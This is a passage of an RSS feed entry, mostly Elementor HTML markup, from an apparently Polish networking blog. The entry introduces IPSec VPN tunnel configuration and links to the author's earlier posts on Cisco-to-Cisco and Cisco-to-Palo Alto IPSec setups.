							<img width="290" height="300" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/ipsec_teoria_5.png" class="attachment-large size-large" alt="" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="ec96192" class="elementor-element elementor-element-ec96192 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="1f21aa2" class="elementor-element elementor-element-1f21aa2 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="2fc7501" class="elementor-element elementor-element-2fc7501 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p> </p><p><strong><span style="color: #000000;">Konfiguracja tunelu IPSEC VPN</span></strong></p><p style="text-align: justify;"><span style="color: #000000;">W moich poprzednich wpisach pokazałem jak skonfigurować tunel IPSEC pomiędzy dwoma routerami CISCO <a href="https://kubsoo.github.io/rsnet-website/cisco-ipsec-vpn-konfiguracja/">link</a>, oraz pomiędzy routerem CISCO a firewallem Palo Alto <a href="https://kubsoo.github.io/rsnet-website/ipsec-s2s-vpn-palo-alto-cisco/">link</a></span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/ipsec-vpn-teoria/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
